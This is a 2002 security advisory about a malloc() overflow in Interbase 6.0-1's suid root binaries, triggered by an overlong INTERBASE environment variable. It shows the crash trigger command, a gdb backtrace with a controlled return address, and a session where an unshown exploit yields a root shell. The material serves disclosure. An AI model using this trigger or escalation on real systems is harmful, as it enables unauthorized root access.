Interbase 6.0 malloc() issues

2002-06-18T00:00:00
ID SECURITYVULNS:DOC:3102
Type securityvulns
Reporter Securityvulns
Modified 2002-06-18T00:00:00

Description

======================================================================

Strategic Reconnaissance Team Security Advisory (SRT2002-06-17-1043)

Topic : Interbase 6.0-1 Date : June 17, 2002 Credit : KF dotslash[at]snosoft.com Site : http://www.snosoft.com

======================================================================

.: Description:

interbase-6.0-1.i386.rpm provided with Mandrake 7.2 contains an issue when reading the enivornment variable "INTERBASE". This issue is demonstrated below.

[dotslash@ghetto dotslash]$ export INTERBASE=`perl -e 'print "A" x 500'` [dotslash@ghetto dotslash]$ /usr/local/interbase/bin/gds_drop Segmentation fault

This issue results in a malloc() overflow.

The following suid root binaries are potentially exploitable.

/usr/local/interbase/bin/gds_drop /usr/local/interbase/bin/gds_inet_server /usr/local/interbase/bin/gds_lock_mgr

(gdb) r Starting program: /usr/local/interbase/bin/gds_drop

Program received signal SIGSEGV, Segmentation fault. 0x400a0832 in ptmalloc_init () at malloc.c:1696 1696 malloc.c: No such file or directory. in malloc.c (gdb) bt

0 0x400a0832 in ptmalloc_init () at malloc.c:1696

1 0x400a4e64 in malloc_hook_ini (sz=364, caller=0x40092571) at

malloc.c:1856

2 0x400a0f8d in __libc_malloc (bytes=364) at malloc.c:2798

3 0x40092571 in _IO_new_fopen (

filename=0xbfffd65c 'A' <repeats 200 times>..., mode=0x80583c0 "r")
at iofopen.c:50

4 0x0804a244 in ISC_get_config ()

5 0x41414141 in ?? ()

Cannot access memory at address 0x41414141

.: Impact:

local root can be exploited.

[dotslash@ghetto dotslash]$ id uid=501(dotslash) gid=1214(snosoft) groups=1214(snosoft),501(dotslash) [dotslash@ghetto dotslash]$ /etc/hackme/done/interbase_gds_drop_exploit sh-2.05# id uid=0(root) gid=1214(snosoft) groups=1214(snosoft),501(dotslash)

.: Systems Affected:

This ships with Mandrake 7.2 on one of the extra CD's. If you have installed from the following packages you should consider yourself vulnerable: interbase-6.0-1.i386.rpm or ib_source601.tar.gz

.: Solution:

The source code contains numerous strcat() calls ... it was difficult to tell which actually caused the problem.

Borland.com was notified ... the status on a fix is unknown. Due to lack of access to version 6.5 it is unknown if current versions are affected.

======================================================================